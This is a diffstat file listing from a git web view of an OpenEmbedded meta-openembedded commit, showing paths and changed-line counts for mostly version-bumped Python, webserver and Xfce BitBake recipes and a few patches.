-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_2.0.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_1.4.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.2.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.1.8.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_2.14.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_1.85.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-dill_0.3.7.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.7.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_2.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_1.3.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.8.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.7.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_4.2.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_3.0.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.10.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.9.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.5.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.4.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.3.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.2.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-executing_2.0.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-executing_1.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-file-magic_0.4.1.bb21
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.13.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.12.4.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_4.0.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_3.1.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.2.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.2.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-flask-restx_1.2.0.bb13
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-gcovr_6.0.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.0.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.0.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-git-pw_2.5.0.bb20
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.14.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.12.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.108.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.101.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.4.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.61.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.60.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.1.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.0.1.bb)28
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet/0001-cleanup-Drop-using-register-storage-class-keyword-ev.patch247
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_3.0.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet_2.0.2.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.10.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-h5py_3.9.0.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_1.0.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-hexbytes_0.3.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.5.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-huey_2.4.5.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.12.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-icu_2.11.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.33.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-imageio_2.31.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_2.0.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-imgtool_1.10.0.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-inflate64_1.0.0.bb16
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.17.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-ipython_8.15.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-jedi_0.19.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-jsbeautifier_1.14.11.bb19
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-kivy/0001-add-support-for-glesv2.patch19
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.2.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-kivy_2.1.0.bb)17
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-linux-procfs_0.7.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.3.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-lru-dict_1.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.40.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-m2crypto_0.39.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-mccabe_0.7.0.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.15.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-meson-python_0.13.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.7.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-msgpack_1.0.6.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-multivolumefile_0.2.3.bb21
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.7.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-mypy_1.5.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-nacl_1.5.0.bb25
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-ninja-syntax_1.7.2.bb4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-objectpath_0.6.1.bb9
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-olefile_0.46.bb17
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-oletools_0.60.1.bb11
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pandas_2.0.3.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.3.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-paramiko_3.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pastedeploy_3.0.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pcodedmp_1.2.6.bb12
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pdm-backend_2.1.7.bb13
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pdm_2.10.3.bb15
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pillow_10.0.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_4.0.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-platformdirs_3.10.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_1.4.0.bb26
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-polyline_2.0.1.bb25
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_3.0.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-process-tests_2.1.2.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.41.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-prompt-toolkit_3.0.36.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.4.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-protobuf_4.24.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo/0001-test_cli.py-disable.patch32
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-py-cpuinfo_9.0.0.bb8
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-py7zr_0.20.8.bb29
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.14.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pyaudio_0.2.13.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pybcj_1.0.2.bb24
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.4.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pycares_4.3.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pycodestyle_2.11.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.5.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pydantic_2.4.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pyhamcrest_2.0.4.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.8.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pyjwt_2.7.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pylint_3.0.0.bb)11
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pymemcache_4.0.0.bb22
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.12.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pymetno_0.11.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.178.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.176.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.6.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.5.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pynacl_1.5.0.bb18
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyppmd_1.1.0.bb20
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.13.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.10.0.bb)11
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.22.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.21.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock/0001-test_pytest_mock-skip-args-introspection-tests.patch38
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.12.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.11.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.2.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.1.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.4.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.3.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.20123.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.18122.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-pyudev_0.24.1.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.13.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.11.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-rarfile_4.1.bb23
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.10.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.8.8.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-robotframework-seriallibrary_0.4.3.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-screeninfo_0.8.1.bb16
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.1.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.35.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.26.0.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.4.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-snappy_0.6.1.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.10.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.9.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-soupsieve_2.5.bb4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.23.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.21.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.2.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.7.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.6.7.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.1.bb)4
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.13.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.10.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_1.1.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-trustme_0.9.0.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-txaio_23.1.1.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.17.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-types-psutil_5.9.5.16.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-types-setuptools_68.2.0.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.2.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-tzlocal_5.0.1.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-unoconv_0.9.0.bb23
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.6.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-virtualenv_20.24.5.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-wand_0.6.13.bb15
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.11.3.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-web3_6.10.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.4.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-websocket-client_1.6.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_12.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-websockets_11.0.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.16.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-wrapt_1.15.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.9.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-xlsxwriter_3.1.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_6.2.1.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-xstatic-font-awesome_4.7.0.0.bb)5
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.4.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-xxhash_3.3.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.127.0.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-zeroconf_0.112.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-zopeevent_5.0.bb10
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python/python3-zopeinterface_6.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python3-piccata/python3-piccata_2.0.3.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_2.0.13.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python3-reedsolo/python3-reedsolo_1.7.0.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4/0001-pypubsub-Replace-deprecated-inspect.getargspec.patch65
-rw-r--r--meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.1.bb (renamed from meta-openembedded/meta-python/recipes-devtools/python3-wxgtk4/python3-wxgtk4_4.2.0.bb)3
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet/0004-fix-new.roots-object-is-not-iterable.patch28
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.8.2.bb (renamed from meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivet_3.4.3.bb)9
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0001-Use-setuptools-instead-of-distutils-in-setup.py.patch30
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui/0002-Use-symbolic-list-add-and-edit-icons.patch56
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.4.2.bb (renamed from meta-openembedded/meta-python/recipes-extended/python-blivet/python3-blivetgui_2.3.0.bb)18
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.5.bb (renamed from meta-openembedded/meta-python/recipes-extended/python-pyephem/python3-pyephem_4.1.4.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.7.0.bb (renamed from meta-openembedded/meta-python/recipes-extended/python-rich/python3-rich_13.5.3.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-extended/pywbem/python3-pywbem_1.6.2.bb2
-rw-r--r--meta-openembedded/meta-python/recipes-extended/tuna/tuna_0.19.bb (renamed from meta-openembedded/meta-python/recipes-extended/tuna/tuna_git.bb)2
-rw-r--r--meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.4.bb (renamed from meta-openembedded/meta-python/recipes-networking/python/python3-ldap_3.4.3.bb)2
-rw-r--r--meta-openembedded/meta-webserver/README.md8
-rw-r--r--meta-openembedded/meta-webserver/files/static-group-meta-webserver1
-rw-r--r--meta-openembedded/meta-webserver/files/static-passwd-meta-webserver2
-rw-r--r--meta-openembedded/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb2
-rw-r--r--meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.2.bb (renamed from meta-openembedded/meta-webserver/recipes-php/xdebug/xdebug_3.2.0.bb)2
-rw-r--r--meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_304.bb (renamed from meta-openembedded/meta-webserver/recipes-webadmin/cockpit/cockpit_298.bb)11
-rw-r--r--meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata/netdata.service2
-rw-r--r--meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.43.2.bb (renamed from meta-openembedded/meta-webserver/recipes-webadmin/netdata/netdata_1.36.1.bb)15
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.18.0.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/catfish/catfish_4.16.3.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.3.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/gigolo/gigolo_0.5.2.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.3.2.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/menulibre/menulibre_2.2.3.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.6.1.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/mousepad/mousepad_0.5.9.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.18.0.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/orage/orage_4.16.0.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_0.5.4.21.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/xarchiver/xarchiver_git.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles/not-create-link-to-locale.patch22
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.14.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/xfce4-panel-profiles/xfce4-panel-profiles_1.0.13.bb)6
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.4.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/xfce4-screenshooter/xfce4-screenshooter_1.10.3.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.6.bb (renamed from meta-openembedded/meta-xfce/recipes-apps/xfce4-taskmanager/xfce4-taskmanager_1.5.5.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.18.0.bb (renamed from meta-openembedded/meta-xfce/recipes-multimedia/parole/parole_4.16.0.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.3.bb (renamed from meta-openembedded/meta-xfce/recipes-multimedia/xfce4-mpc-plugin/xfce4-mpc-plugin_0.5.2.bb)3
-rw-r--r--meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.1.bb (renamed from meta-openembedded/meta-xfce/recipes-multimedia/xfmpc/xfmpc_0.3.0.bb)5
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.5.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/battery/xfce4-battery-plugin_1.1.4.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.2.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/calculator/xfce4-calculator-plugin_0.7.1.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.8.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/cpugraph/xfce4-cpugraph-plugin_1.2.7.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.3.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/datetime/xfce4-datetime-plugin_0.8.1.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.3.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.2.bb)2
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.2.0.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.1.1.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.1.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.0.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.1.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.0.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.10.0.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.9.0.bb)4
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.3.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.1.bb)3
-rw-r--r--meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.8.bb (renamed from meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.3.bb)3
